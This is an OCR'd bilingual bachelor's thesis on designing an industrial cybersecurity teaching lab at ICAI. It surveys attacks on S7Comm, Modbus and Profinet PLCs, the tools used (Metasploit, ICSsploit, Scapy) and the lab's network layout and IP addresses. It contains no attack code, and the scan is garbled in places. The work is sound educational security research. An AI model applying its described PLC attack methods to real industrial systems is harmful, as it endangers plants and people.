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RESUMEN DEL PROYECTO

En este trabajo se disefiara e implementara un laboratorio de ciberseguridad industrial en
ICALI. Para ello, se investigara sobre distintos protocolos usados en la industria y se llevaran
a cabo una serie de ataques para que los alumnos aprendan sobre estos protocolos y sus
vulnerabilidades.
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1. Introduccidon

El campo de la ciberseguridad es, desde hace unos afios, uno de los que mas se esta
invirtiendo. También, los usuarios finales se han dado cuenta de su importancia, que no
solo afecta a fabricantes o desarrolladores. La ciberseguridad también ha cogido fuerza
en las industrias, por motivos obvios, como proteger plantas y procesos de produccion,
etc. Este crecimiento en la seguridad de los sistemas se debe a que, cada vez hay
informacién maés sensible en ellos y debido al crecimiento de los ataques. En este
proyecto se centrara méas en el &mbito industrial de la ciberseguridad. Se investigaran
vulnerabilidades de varios protocolos industriales y se explotaran de forma controlada.
Con este proyecto se pretende crear una red segura para poder realizar practicas de
ciberseguridad. Para realizarlo, hay una gran parte de investigacion y testeo.

2. Definicion del proyecto

Este proyecto tiene varios objetivos. Uno de ellos es realizar una investigacion profunda
sobre distintos protocolos industriales, sus vulnerabilidades y como explotarlas. Para ello
se usard la infraestructura que encontramos en el laboratorio de ICAI, del cual haremos
uso de los puestos de trabajo, ordenadores, PLCs, HMIs y de la red interna. Este trabajo
de investigacion es muy importante, ya que algunos de los protocolos con los que nos
enfrentaremos, son propietarios y hay poca informacién sobre ellos. Se pretende que al
final del proyecto, se haya realizado una investigacion detallada sobre los ataques que se
pueden realizar paso a paso, desde la fase de investigacion del protocolo, hasta la fase de
testeo del atague. También se busca poder crear una infraestructura segura para realizar
practicas de ciberseguridad para estudiantes de ICAI. Con este proyecto, se investigara
que tipos de ataques se pueden llevar a cabo y cdmo se realizan, para que los estudiantes
en un futuro los puedan replicar, sin tener que realizar la parte de preparacion del
laboratorio. Esto conlleva una gran parte de testing para ver qué elementos pueden fallar
y para saber que equipos son necesarios para llevar a cabo estas préacticas. El laboratorio
tiene que quedar preparado de tal forma que también cumple su funcién actual y no se
altera su funcionamiento al implementar esta nueva seccion de ciberseguridad. En
concreto se llevaria esto a cabo de una forma relativamente sencilla. Con un ordenador
virtualizado con distintas herramientas de las que vienen citadas a continuacion. A este



ordenador se conectarian los alumnos y podran realizar las practicas de ciberseguridad
correspondientes. Esto también nos permitiria limitar las IPs que ve cada usuario, de esta
forma no tendriamos que crear VLANS para segmentar la red. Con esto conseguiriamos
modificar lo menos posible la red del laboratorio. Con esto, los alumnos podrén realizar
distintas practicas sobre distintos protocolos y distintos ataques. También se busca que
el laboratorio esté preparado para alumnos o académicos que quieran realizar estudios
de ciberseguridad en un futuro. Algunas de estas practicas se realizaran con equipos
fisicos y otros con equipos virtualizados. Este concepto estd muy desarrollado por un
TFM de un alumno de la Universidad Oberta de Catalufia [1]. Otro de los objetivos
principales de este proyecto es que la Universidad Pontificia de Comillas (ICAI) entre
en la Red de Excelencia Nacional de Investigacion en Ciberseguridad (RENIC). Esta red
se cred de las manos de INCIBE y del ecosistema investigador en ciberseguridad espafiol.
Esta red esta formada por centro que destacan por su excelente campo de 1+D+i en
ciberseguridad, tratando temas actuales, coordinados por un futuro plan director de la
Union Europea y contemplando las necesidades reales de los usuarios finales y de la
industria. [2].

Descripcion del modelo/sistema/herramienta

La metodologia que hemos empleado a lo largo del desarrollo de este trabajo es muy
simple. Nos hemos basado en ataques parecidos y en vulnerabilidades para poder
reproducirlas en el entorno seguro que es el laboratorio de ICALI. Al principio siempre se
requiere una fase de analisis de trafico y de descubrimientos de posibles fallos o
necesidades que podrian llegar a surgir durante el proyecto. Por ejemplo, en nuestro caso,
nos dimos cuenta de que hacian falta mas equipos (switches) en el laboratorio y que el
trafico S7-comm plus no es reconocido por defecto en Wireshark. Esta fase es clave para
poder continuar sin grandes imprevistos durante el desarrollo del proyecto. Una vez
concluido lo anterior, pasamos a la investigacion de cada protocolo. Todo lo que se
explica a continuacion se debe repetir para cada protocolo, ya que los pasos son basicos
para el desarrollo. Lo primero es la fase de investigacion sobre dicho protocolo. Esta fase
es critica, ya que al igual que hay protocolos muy sencillos, como puede ser Modbus, en
general requieren conocer bien las capas del protocolo, cdmo funciona, entre qué equipos
se emplea y, sobre todo, lo mas importante, es saber qué medidas de seguridad emplea
(como puede ser criptografia asimétrica, SHA, etc) y las vulnerabilidades de la version
del protocolo a emplear. Una vez visto esto, también hay 6 que realizar una fase de
investigacion sobre como saltarnos las medidas de seguridad implementadas. Una vez
conseguido esto, pasaremos a una fase de investigacion sobre los ataques que se pueden
realizar sobre estos protocolos. Esto va de la mano de la fase de investigacion realizada
sobre como saltarse los métodos de seguridad. En esta fase también se requiere buscar
ejemplos realizados por otras personas y realizar una lectura detallada de los CVEs
(codigo de vulnerabilidades) encontrados. Una vez terminado esto, hay que pasar a una
fase de pruebas, donde se testeara todo lo encontrado anteriormente y se evaluaran los
resultados. Llegados a este punto, se puede retroceder al principio en caso de que nos
resultados no sean satisfactorios. Como ya he citado antes, todo lo anterior se debera
realizar para cada protocolo que investigaremos a lo largo del proyecto. Al final de este,
se dedicara un tiempo exclusivo sobre la inyeccion de codigo malicioso a los PLCs. Toda
esta metodologia y planificacion queda reflejada en el diagrama Gantt adjuntado en el
Anexo B.



A continuacién, se listan y explican las herramientas empleadas para llevar a cabo este
proyecto. Las citadas, son las usadas de forma general, las herramientas especificas para
cada protocolo se citaran y explicaran durante su respectivo capitulo.

- Kali Linux: esta es una distribucion de Linux centrada en temas de ciberseguridad.
Este sistema operativo viene con muchas herramientas que emplearemos a lo largo
del proyecto, las cuales se citaran a lo largo del documento [3]. Este sistema operativo
es montado sobre una Raspberry pi 4 de 4 GB de RAM, la cual nos permite
facilmente usar estas herramientas y poder conectarnos a las distintas redes con un
formato de equipo reducido.

- Wireshark: esta es una herramienta ampliamente conocida para analizar los paquetes
presentes en una red. Este software nos permite leer la informacion intercambiada en
las interfaces seleccionadas al igual que nos permite ver con detalle la informacion
de cada paquete. Esta herramienta es basica para este proyecto y sera muy utilizada
en la parte de investigacion de los protocolos para extraer informacion de como
funcionan. También lo usaremos para comprobar que los ataques llevados a cabo son
correctos o para detectar fallos. [4]

- MSFConsole: Esta es una framework de metaexploit. Ofrece una consola donde se
centralizan muchos paquetes para distintos tipos de ataques. Estos paguetes van
desde escaneres de redes o trafico hasta herramientas preparadas para realizar ataques
especificos. Esta es una de las herramientas que vienen preinstaladas en Kali Linux.
[5]

- ICSsploit: es una herramienta muy similar a MSFConsole pero que nos aporta
paquetes extra. Esta herramienta no se encuentra en Kali, por lo que debemos de
descargarla y la podemos ejecutar desde cualquier equipo con Python. [6]

- Scapy: esta herramienta nos facilita la creacion de paquetes y la transmisién de estos.
Este software basado en Python lo emplearemos sobre todo para ataques de tipo
Packet Replay (se craftean paquetes idénticos o similares a los originales del sistema
y los enviamos para engafarlo). [7]

- GitHub: es un sistema que nos facilita la gestion y el control de las versiones del
codigo. Es una plataforma ampliamente utilizada hoy en dia. No solo sirve para
gestionar nuestros proyectos si no que, desde GitHub desktop, podemos ver
proyectos publicados por otra gente. [8]

Resultados

Las pruebas realizadas sobre los protocolos propuestos para este proyecto en general han
sido satisfactorias. Por otro lado, en los que hemos encontrado dificultades (ya sea por
su seguridad o complicaciones para implementarlos), hemos realizado una labor de
auditoria. En ella definimos los problemas encontrados y como proceder en caso de
querer realizar practicas de estas partes. Entrando en detalle sobre los resultados
obtenidos, en cuanto al protocolo S7Comm, hemos demostrado que, si se pueden realizar
ataques y de forma muy sencilla, ya que es un protocolo que no incorpora suficiente
seguridad. En cuanto a la versién mas segura, el STComm Plus lo encontramos en
comunicaciones entre equipos Siemens mas modernos, como los presentes en el
laboratorio. Sobre este protocolo, no se ha realizado ningn ataque, aungue se ha entrado
a detalle sobre su seguridad y cémo seria realizar un ataque de inyeccién de codigo
malicioso sobre un autdmata. En cuanto a Modbus, al ser un protocolo industrial antiguo,
no contempla ningun tipo de seguridad y es el mas facil de atacar. En este apartado se
han realizado varios ataques, como puede ser un Man in the Middle, un packet replay o



usar frameworks de explotis. Este protocolo es interesante, aunque probablemente el
menos extendido hoy en dia, para aprender los conceptos y como primer contacto a la
ciberseguridad industrial. En Cuanto a Profinet, al emplear sobre todo equipos Siemenes,
es complejo generar trafico de este protocolo de tal forma que nos permita realizar
ataques. Debido a esto, se han propuesto una serie de soluciones para gque este protocolo
pueda introducirse en el laboratorio de ciberseguridad. Por ultimo, en cuanto a los
sistemas SCADA, se basa en protocolos industriales como pueden ser S7, Profinet,
Modbus... por lo que su seguridad y los ataques que se pueden realizar son los vistos en
cada apartado de estos protocolos.

quier otra para continuar:
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Figura 1: Ejemplo de ataque realizado en el proyecto

Conclusiones

La principal conclusion del proyecto es que se puede implementar un laboratorio de
ciberseguridad en ICAI de manera inmediata y sin muchos costes. Partimos de un
laboratorio con muchos equipos industriales que se emplearian también para este
laboratorio, ya que uno de los objetivos principales han sido aprovechar esta
infraestructura al maximo. Los distintos protocolos y los distintos ataques proporcionan
un conocimiento amplio sobre la ciberseguridad en entornos industriales para los
estudiantes que realicen estas practicas.

Otra conclusion importante es que, el protocolo S7Comm Plus y los ataques principales
sujetos a este protocolo, nos han parecido demasiado complejos para realizar en este
laboratorio. Esto se debe al gran nivel de seguridad que aporta esta versién moderna del
S7Comm. Por otro lado, en cuanto a Profinet, se pueden realizar ataques, pero hemos
demostrado que, hacen falta equipos compatibles y que nos permitan escribir datos a los
autdmatas. También se podria plantear softwares de simulacion de Profinet, pero también
conllevan un coste. En este protocolo se ha realizado una pequefia auditoria para plantear
los problemas y las opciones a priori para poder implementa
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ABSTRACT

In this final degree project, an industrial cybersecurity laboratory will be designed and
implemented at ICAIL. Most common protocols used at the industry will be investigated and
a series of attacks will be carried out so that students learn about these protocols and their
vulnerabilities.
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1. Introduction

The field of cybersecurity has been one of the most fields where huge amounts of money
was put into. Also, end users have realized its importance, which does not only affect
manufacturers or developers. Cybersecurity has also gained strength in industries, for
obvious reasons, such as protecting plants and production processes, etc. This growth in
the security of the systems is due to the fact that there is more and more sensitive
information in them and due to the growth of the number of attacks. In this project, we
will focus on the industrial field of cybersecurity. Vulnerabilities of various industrial
protocols will be investigated and exploited in a controlled manner. The aim of this
project is to create a secure environment to be able to carry out cybersecurity practices.
To achieve this, research and testing will be the key to success.

2. Project definition

This project has several objectives. One of them is to conduct in-depth research on
different industrial protocols, their vulnerabilities and how to exploit them. For this
purpose, the infrastructure found in the ICALI laboratory will be used, from which we will
make use of the workstations, computers, PLCs, HMIs and the internal network. This
research work is very important, since some of the protocols that we will face, are
proprietary and there is little information about them. It is intended that at the end of the
project, a detailed investigation has been carried out on the attacks that can be carried
out step by step, from the investigation phase of the protocol to the testing phase of the
attack. It also seeks to create a secure infrastructure to perform cybersecurity internships
for ICAI students. With this project, we will investigate what types of attacks can be
carried out and how they are carried out, so that students in the future can replicate them,
without having to perform the preparation part of the laboratory. This involves a lot of
testing to see what elements can fail and to know what equipment is needed to carry out
these practices. The laboratory must be prepared in such a way that it also fulfills its
current function, and its operation is not altered by implementing this new cybersecurity
section. This would be done in a relatively simple way. With a virtualized computer with
different tools of which are mentioned below. To this computer students would connect
and will be able to carry out the corresponding cybersecurity practices. This would also
allow us to limit the IPs that each user sees, so we would not have to create VLANS to



segment the network. This would make it possible to modify the laboratory network as
little as possible. With this, students will be able to perform different practices on
different protocols and different attacks. It is also sought that the laboratory is prepared
for students or academics who want to carry out cybersecurity studies in the future. Some
of these practices will be done with physical equipment and others with virtualized
equipment. This concept is very much developed by a TFM of a student of the Open
University of Catalonia [1]. Another of the main objectives of this project is that the
Pontifical University of Comillas (ICAI) enters the Network of National Excellence for
Cybersecurity Research (RENIC). This network was created by the hands of INCIBE
and the Spanish cybersecurity research ecosystem. This network is formed by a center
that stands out for its excellent field of R&D&I in cybersecurity, dealing with current
issues, coordinated by a future master plan of the European Union, and considering the
real needs of end users and the industry. [2].

Description of the model/system/tool

The methodology we have used throughout the development of this work is very simple.
We have relied on similar attacks and vulnerabilities to be able to reproduce them in the
secure environment that is the ICAI laboratory. At the beginning, a phase of traffic
analysis and discoveries of possible failures or needs that could arise during the project
is always required. For example, in our case, we realized that more equipment (switches)
was needed in the lab and that S7-comm plus traffic is not recognized by default in
wireshark. This phase is key to be able to continue without great unforeseen events
during the development of the project. Once the above is concluded, we move on to the
investigation of each protocol. Everything explained below must be repeated for each
protocol, as the steps are basic to development. The first thing is the research phase on
that protocol. This phase is critical, since just as there are very simple protocols, such as
Modbus, in general they require to know well the layers of the protocol, how it works,
between which computers it is used and above all, the most important thing, is to know
what security measures it uses (such as asymmetric cryptography, SHA, etc.) and the
vulnerabilities of the version of the protocol to be used. Once seen this, there are also 6
to perform a phase of research on how to bypass the security measures implemented.
Once this is achieved, we will move on to an investigation phase on the attacks that can
be made on these protocols. This goes hand in hand with the research phase carried out
on how to bypass security methods. In this phase it is also required to look for examples
made by other people and make a detailed reading of the CVEs (vulnerability code)
found. Once z sees this finished, you must move to a testing phase, where everything
previously found will be tested and the results will be evaluated. At this point, we can go
back to the beginning in case we are not satisfied with satisfactory results. As | mentioned
before, all the above should be done for each protocol that we will investigate throughout
the project. At the end of this, an exclusive time will be devoted on injecting malicious
code into the PLCs. All this methodology and planning is reflected in the Gantt chart
attached in Annex B.

Then, ready and explain the tools used to carry out this project. The aforementioned, are
those used in a general way, the specific tools for each protocol will be cited and
explained during their respective chapter.

- Kali Linux: This is a Linux distribution focused on cybersecurity issues. This
operating system comes with many tools that we will use throughout the project,



which will be cited throughout the document [3]. This operating system is mounted
on a Raspberry pi 4 of 4 GB of RAM, which allows us to easily use these tools and
be able to connect to the different networks with a reduced computer format.

- Wireshark: This is a widely known tool for analyzing the packets present in a
network. This software allows us to read the information exchanged in the selected
interfaces as well as allows us to see in detail the information of each package. This
tool is basic to this project and will be widely used in the research part of the
protocols to extract information from how they work. We will also use it to verify
that the attacks carried out are correct or to detect failures. [4]

- MSFConsole: This is a metaexploit framework. It offers a console where many
packages are centralized for different types of attacks. These packets range from
network or traffic scanners to tools prepared to perform specific attacks. This is one
of the tools that come preinstalled on Kali Linux. [5]

- ICSsploit: it is a tool very similar to MSFConsole but that gives us extra packages.
This tool is not in Kali, so we must download it and we can run it from any computer
with Python. [6]

- Scapy: this tool makes it easy for us to create packets and transmit them. This Python-
based software will be used mainly for Packet Replay type attacks (identical or
similar packets are crafted to the original system, and we send them to deceive you).
[7]

- GitHub: it is a system that makes it easier for us to manage and control the versions
of the code. It is a widely used platform today. Not only does it serve to manage our
projects but, from GitHub desktop, we can see projects published by other people.

[8]

Results

The tests carried out on the proposed protocols for this project have generally been
satisfactory. On the other hand, in which we have encountered difficulties (either due to
their security or complications to implement them), we have carried out an audit work.
In it we define the problems encountered and how to proceed in case of wanting to carry
out practices of these parts. Going into detail about the results obtained, regarding the
S7Comm protocol, we have shown that, if attacks can be carried out and in a very simple
way, since it is a protocol that does not incorporate enough security. As for the most
secure version, the S7Comm Plus is found in communications between more modern
Siemens equipment, such as those present in the laboratory. On this protocol, no attack
has been made, although it has been entered into detail about its security and what it
would be like to perform a malicious code injection attack on an automaton. As for
Modbus, being an old industrial protocol, it does not contemplate any type of security
and is the easiest to attack. In this section several attacks have been carried out, such as
a Man in the Middle, a packet replay or using exploit frameworks. This protocol is
interesting, although probably the least widespread today, to learn the concepts and as a
first contact to industrial cybersecurity. As for Profinet, when using mainly Siemenes
equipment, it is complex to generate traffic of this protocol in such a way that allows us
to carry out attacks. Because of this, a series of solutions have been proposed so that this
protocol can be introduced into the cybersecurity laboratory. Finally, as for SCADA
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systems, it is based on industrial protocols such as S7, Profinet, Modbus... so its security
and the attacks that can be carried out are those seen in each section of these protocols.
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Figure 1: Example of an attack developed in this proyect

Conclusions

The main conclusion of the project is that a cybersecurity laboratory can be implemented
at ICAI imminently and without much cost. We started from a laboratory with a lot of
industrial equipment that would also be used for this laboratory, since one of the main
objectives has been to make the most of this infrastructure. The different protocols and
the different attacks provide a broad knowledge about cybersecurity in industrial
environments for the students who carry out these practices.

Another important conclusion is that the S7TComm Plus protocol and the main attacks
subject to this protocol, have seemed too complex to perform in this laboratory. This is
due to the high level of security provided by this modern version of the S7Comm. On
the other hand, as for Profinet, attacks can be carried out, but we have shown that,
compatible equipment is needed and that allows us to write data to automata. Profinet
simulation software could also be considered, but they also come at a cost. In this
protocol a small audit has been carried out to raise the problems and the options and how
to be able to implement.
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Capitulo 1. INTRODUCCION

MOTIVACION DEL PROYECTO

Este proyecto nace conjuntamente de ICAIl y de la Cétedra de Industria Conectada de ICAL.
La universidad desde hace un par de afios ofrece un master de ciberseguridad, el cual cuenta
con mucho prestigio gracias a los profesores y al contenido de este. Para mejorar la docencia
y el conocimiento de los alumnos, se ha planteado la creacién de unas practicas de

ciberseguridad.

Este trabajo de fin de grado trata de estudiar la creacion, el desarrollo y la implementacion
de estas practicas. En concreto se centra en la ciberseguridad en entornos industriales, ya
que es un ambito que estd sometido a una gran revolucion tecnolégica. La importancia de la
ciberseguridad es algo creciente, pero mas todavia en estos &mbitos que todavia estan en
transformacion digital.

El sector de la industria es algo mas complejo en cuanto a ciberseguridad se trata. Muchos
otros sectores se basan en proteger los datos, otros las comunicaciones, etc. La industria tiene
muchos requerimientos que la seguridad de este sector sea critica. Estos equipos presentes
en las fabricas pueden ser explotados y causar graves dafios, tanto econémicos como
humanos. Normalmente estas redes no suelen estar conectadas con el exterior por motivos

obvios, pero esto no impide que se realicen ataques.

Otro de los motivos principales de este proyecto es que, al crear el laboratorio de
ciberseguridad, ICAI pueda entrar en la Red Nacional de Laboratorios Industriales (RNLI).
Esta red es un conjunto de laboratorios creados por distintas organizaciones y universidades.
Esta red es una iniciativa del Instituto Nacional de Ciberseguridad (INCIBE) y apoyado por
el Centro Nacional para la Proteccion de las Infraestructuras Criticas (CNPIC). El objetivo
es que haya mas investigacion en este tema debido a su importancia y la necesidad de

proteger nuestras industrias. [1]
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Capitulo 2. DESCRIPCION DE LAS TECNOLOGIAS

En este proyecto se hace hincapié en varios protocolos de ambito industrial. Como el trabajo
de divide en estos protocolos, se explican cada uno en su apartado, ya que es necesario

entender como funcionan antes de realizar los ataques.

En cuanto a herramientas, se emplean varios equipos fisicos presentes en el laboratorio, asi
como distintas aplicaciones de software, las cuales también citaremos a continuacion. Como
se va a utilizar el laboratorio de la minifabrica de ICAI como base, muchos de los
dispositivos que tiene se usaran. En concreto, se hara uso de los switches Scalance y de los
PLCs S7-1500 y los HMLI. En cuanto a los primeros, son unos switches de la marca de
Siemens, los cuales estan preparados para ser colocados en entornos industriales y trabajar
con estos protocolos.

En cuanto a los PLC S7-1500, estos son en espafiol Controladores Logicos Programables, o
también conocidos como autématas programables. Estos equipos nos permiten la
automatizacion en entornos industriales o de procesos facilmente. En este caso se trata de la
serie 1500 de la marca Siemens, los cuales son lideres en el sector. Es importante saber el
modelo del que se dispone, ya que la seguridad de estos equipos depende en gran manera de

la serie a la que pertenecen.

Por otro lado, para poder interactuar con los PLCs, tenemos los equipos, también de
Siemens, conocidos como HMI. Estos equipos aportan una interfaz entre la maquina y el
humano para poder interactuar con los equipos de forma siempre. Estos equipos estan
conectados en red con los autdbmatas e incorporan una pantalla para poder realizar ciertas
gestiones. Al igual que los PLCs, son programables. Para gestionar y programar los equipos

de Siemens, empleamos su software propietario, en nuestro caso la version 16 de TIA Portal.

Otras herramientas importantes para el desarrollo de este trabajo son Wireshark y Scapy.
Wireshark es una aplicacion de captura y analisis de trafico. Nos permite escoger la interfaz

de la cual queremos obtener informacidn y nos muestra todos los paquetes que circulan por
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ella. Esto es importante para obtener informacién sobre el funcionamiento de los protocolos
y también para realizar ataques como el Packet Replay (mandar un paquete capturado y
modificarlo levemente para conseguir un comportamiento especifico). En concreto para este
ataque vamos a emplear la herramienta Scapy, la cual esta basada en Python y nos permite

facilmente capturar, modificar, crear y mandar paquetes.

También empleamos la herramienta de GitHub para llevar un control de las versiones de los
archivos empleados en el proyecto y para tener un repositorio de consulta para cualquier

trabajo futuro basado en este proyecto.

El resto de las herramientas y equipos usados, seran citados en su capitulo correspondiente

ya que no son de uso general como los citados anteriormente.
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Capitulo 3. ESTADO DE LA CUESTION

El sector de la ciberseguridad es de los que mas esté creciendo desde hace varios afios. Esto
se debe a que la revolucion digital en la que vivimos esta teniendo un crecimiento
exponencial. Tambiéen se debe a que puede aplicar a un gran ndmero de sectores muy
distintos. Los consumidores de cualquier producto tecnolégico también son mas conscientes
de la importancia de la ciberseguridad para sus vidas. Ya hoy en dia todos somos conscientes
de las pautas basicas para proteger nuestra informacion, datos, dinero, etc.

La importancia de la ciberseguridad, entre otras causas, ha crecido debido a que se estan
digitalizando cada vez mas industrias y sectores con datos criticos. Uno de estos sectores es
la industria, donde los datos y los procesos ahora se controlan desde maquinas conectadas y,

a pesar de que no suelen tener conexion con el exterior, es importante que estén protegidas.

A priori puede parecer que estas industrias no necesitan tomar medidas de seguridad ya que
como muchas no estan conectadas con el exterior, los ataques son irrealizabas. Pues a pesar
de que esto haga que ser atacado sea mucho mas complejo, si que se pueden realizar ataques
y como ejemplo esté el ataque que se realiz6 hacia una planta secrete de enriquecimiento de
uranio para armas nucleares. Este ataque es un buen ejemplo de todas las fases en las que se
divide un ataque. Se realiz6 una fase muy importante de ingenieria social para descubrir
informacion sobre los equipos de la planta (autdmatas programables o también conocidos
como PLCs) e informacion sobre el punto de recogida de los trabajadores de dicha planta.
Con todo este proceso, se consiguié desarrollar un ataque con el que se ralentizaba la
centrifugadora de uranio sin que saltara ninguna alarma y mostrando datos normales a los
ingenieros de la planta. Con se consiguio hacer que este productor perdiese las caracteristicas

necesarias para realizar armas y tardaron en darse cuenta varios afios [2].

Estos ataques se realizaron hacia los PLCs de Siemens, los mismos que tenemos presentes
en el laboratorio de la minifabrica de ICAI y los cuales usaremos para llevar a cabo ataques
y pruebas de seguridad. La importancia que implica proteger estas industrias es muy alta,

por razones obvias. Hay muchos protocolos que se usan en comunicaciones entre maquinas

9
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enfocadas a la industria y en ellos reside gran parte del peso de la seguridad de las
infraestructuras. Los protocolos mas importantes seran estudiados en este proyecto con el
fin de crear un laboratorio puntero en el estudio de la ciberseguridad en el &mbito industrial.

Los objetivos de este proyecto estan explicados al detalle en ese apartado.

10
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Capitulo 4. DEFINICION DEL TRABAJO

4.1 JUSTIFICACION

Una vez listadas las motivaciones del proyecto, este apartado es muy similar. La principal
justificacion del proyecto que se va a desarrollar es la poca presencia de laboratiorios de
ciberseguridad industrial. Gracias al INCIBE cada vez se desarrollan mas, pero al ser algo

critico, pensamos que son insuficientes y podemos aportar a ello.

También no podemos dejar de lado que, este laboratorio, serd usado principalmente por
estudiantes y profesores de la escuela de distintos ambitos para desarrollar sus conocimientos
en esta area. Esto es importante para la universidad ya que es una oportunidad muy
importante para mejorar mas todavia la calidad de su ensefianza y seguir apostando por la
parte practica de la misma. En muy pocos centros se realizan tantas practicas y menos todavia

en ambitos de ciberseguridad con equipos de verdad y no simulados.

Muchos ingenieros, ya sean de telecomunicaciones o industriales, acaban trabajando en
temas relacionadas con la industria del automdvil, farmacéuticas, etc. Debido a esto, son
conocimientos que son consideraros importantes para nuestro desarrollo intelectual de cara

al mundo laboral.

4.2 OBJETIVOS

Aprovechando la infraestructura y los equipos presentes en el laboratorio de la minifabrica
de ICAL, se va a hacer un estudio de los principales protocolos presentes y los ataques que
se pueden llevar a cabo. Haciendo un estudio de estos protocolos presentes en el laboratorio
y de los principales protocolos de la industria, decidimos investigar los siguientes: S7TComm,
Profinet, Modbus y unos apartados extra para inyecciones de cédigo sobre PLCs y ataques
sobre sistemas SCADA.
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Con esto, se busca poder tener una bateria de practicas que los alumnos, principalmente del
master de ciberseguridad, puedan desarrollar la teoria vista en clase y ganar conocimiento
sobre el &mbito de la ciberseguridad en la industria.

Otro de los objetivos principales, como ya se ha citado en el apartado de justificacion, es
conseguir que ICALI entre dentro de los centros con un laboratorio de ciberseguridad en la
red creada por INCIBE.

4.3 METODOLOGIA

La metodologia es muy simple y hemos seguido la que indicamos al principio del proyecto
en el Anexo B. Antes de estudiar los protocolos, se debe hacer un estudio precioso de la
topologia de red presente y del trafico, ya que es preciso solucionar estos problemas lo antes

posible y poder continuar con los protocolos sin mucha complicacion.

En cuanto a los protocolos que vamos a tratar (citados en el apartado anterior), en todos se
va a emplear la misma metodologia. Primero, hay una fase de investigacion en la que se
conoce el protocolo, sus funcionalidades, como se compone y, sobre todo, los mecanismos
de seguridad que este conlleva. Esto va seguido de otra fase de investigacion, pero esta vez
de ataques. Es importante ver si ya hay ataques realizados sobre estos protocolos, ya que nos
facilita mucho el trabajo y nos puede servir de apoyo para otros tipos de ataques que no se
hayan realizado. También es importante, ya que no queremos realizar ataques que inhabiliten
los equipos, por lo que es importante conocerlos antes. Por Gltimo, se realizan los ataques y
se sacan ciertas conclusiones de ellos, como puede ser el nivel de seguridad, la dificultad y,
sobre todo y lo méas importante, como poder protegerse ante estos ataques.

4.4 PLANIFICACION Y ESTIMACION ECONOMICA

Para mostrar la planificacion del proyecto, muestro el diagrama Gantt que se realizo para el
Anexo B. En este se muestra las partes en las que se divide este proyecto y su duracion en el

tiempo.
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En el diagrama, se puede observar las principales partes del proyecto, asi como las partes en
las que se divide, explicadas en el apartado anterior. En cuanto al reparto, la duracién y las
fechas inicio, en algunos de los apartados no se han podido seguir tal y como se establecio,

ya que este diagrama fue anterior al inicio del proyecto.

< ~e—
- o p—
:. T T } T T T T I I
o octubre: noviemire dicizmbre: enero febrern marzo ahril maya Junice Iulic
| Fecha deinicio | Fecha defin

1/10/20 16/11/20 | ——
15/10/20 16/11/20 [ L
1711720 211721 —
17711720 15/12/20 | I—
16/12/20 671721 [ h
771421 2141421 [
26/1/21 1242021 |
& investigacion protocolo 26/1/21 12r21 |-y
© investigacién ataques 22721 5/2/21 =5
O sdeaETS 8/2/21 1212421 [i5]
= © Profinety Profibus 15/2/21 2473121
© investigacién protocola 15/2/21 273721  E—
© investigacién ataques 313721 12/3/21 -
15/3/21 245321
=] 25/3/21 10/5/21 -
25/3/21 974721 [—
124 23/4/21 i—
26/4/21 10/5/21 —
El 1475721 28/6/21
14/5/21 28/5/21 —
317521 11/6/21 i—
14/6/21 28/6/21 —
El 112/20 1477421
112720 2911721 H
© Redaccién entrega final 142721 29/6/21 L N
© Revisién trabajo 30/6/21 1121 [}
© Creaci6n presentacion 8721 1447421 ]

Figura 2: Diagrama Gantt del proyecto

En cuanto a la planificacion econdémica, no es un proyecto en el que tenga mucho peso. Esto
se debe a que partimos de la infraestructura y los equipos que ya hay presentes en el
laboratorio e intentamos que todos los ataques que se realizan aprovechen estos equipos. En
los protocolos en los que no se pueda, se busca como alternativa simuladores de cédigo
abierto.

Aun asi, como se explica a continuacion, hay equipos que son interesantes y otros necesarios.
Por ejemplo, para el desarrollo del proyecto se ha necesitado un Switch Procurve 2626, el
cual no ha costado nada ya que nos lo han cedido por Parte de STIC. A pesar de esto, si se
quisiera realizar este proyecto de cero, se necesitaria como minimo un PC, un PLC y un
Swtich o Hub, estimando el precio como minimo en unos 3000 €. Como se citara en las
conclusiones, también se podria plantear para un futuro comprar otros equipos para que las
pruebas realizadas en simulador se hagan con equipos reales. También se puede plantear

obtener PLCs mas antiguos y aprovechar su poca seguridad para ver otros ataques.
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Capitulo 5. SISTEMA/MODELO DESARROLLADO

En este capitulo se desarrollard con detalle el trabajo realizado. Para ello, se dividira en
varios sub-apartados de acuerdo con lo especificado en el diagrama de Gantt del Anexo B:

- 5.1 Andlisis de la topologia y tréafico de red.
- 5.2 S7comm.

- 5.3 Modbus.

- 5.4 Profinet.

- 5.5 Sistemas SCADA.

- 5.6 Inyeccion de codigo en PLCs.

5.1 ANALISIS DE LA TOPOLOGIA Y TRAFICO DE RED

Esta fase es clave para el desarrollo del proyecto. Esto se debe a que, como vamos a
implementar una serie de ataques sobre la red existente del laboratorio de la “minifabrica”
de ICAI, debemos de conocer los equipos que hay presentes. Es importante no solo saber
que equipos hay, sino que también es importante saber la seguridad que tienen por defecto

y el tréfico que encontramos en la red.

La seguridad de los equipos nos interesa, especialmente de los equipos como los switches
Scalance X208 que hay en el lab, ya que necesitamos acceder a su configuracion y ver si los
podemos configurar algunos puertos con port mirroring (reenvio de paquetes de un puerto a
otro). Para ello, es importante conocer primero la topologia de red. El laboratorio esta
dividido en dos secciones: los puestos de trabajo y la minifabrica. Los puestos de trabajo son
8y cada uno de ellos tiene un ordenador, un PLC S7-1500 y un HMI de Siemens. Los puestos
gue estan pegados a la minifabrica estan conectados directamente a su red y el resto, se
conectan a través de unos maédulos wifi. Lo importante es saber que la red del laboratorio
estd dividida en dos, la parte izquierda y la derecha. Cada uno de los lados tiene dos switches
Scalance donde se conectan 4 puestos con todos sus equipos y el resto de los elementos del
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laboratorio (camaras Cognex, brazos roboticos ABB...). A continuacion, se muestra este

esquema de red:

/ \ Mini-fabrica

= W = D
Eg P4 gg P3 g P8 Eg P7

Figura 3: Esquema de red del laboratorio

También es importante conocer las IPs presentes en los equipos de cada puesto, ya que
cuando vayamos a realizar algln tipo de anélisis de trafico u ataque nos haran falta. A
continuacidn, se muestra una tabla con las direcciones légicas de los ordenadores, PLCs y

HMIs de cada puesto:

Puesto IPPC IPPLC IP HMI
P1 192.168.56.5 192.168.56.15 192.168.56.25
P2 192.168.56.6 192.168.56.16 192.168.56.26
P3 192.168.56.2 192.168.56.12 192.168.56.22
P4 192.168.56.1 192.168.56.11 192.168.56.21
P5 192.168.56.7 192.168.56.17 192.168.56.27
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P6 192.168.56.8 192.168.56.18 192.168.56.28
P7 192.168.56.4 192.168.56.14 192.168.56.24
P8 192.168.56.3 192.168.56.13 192.168.56.23

Tabla 1: Tabla con las IPs de cada puesto

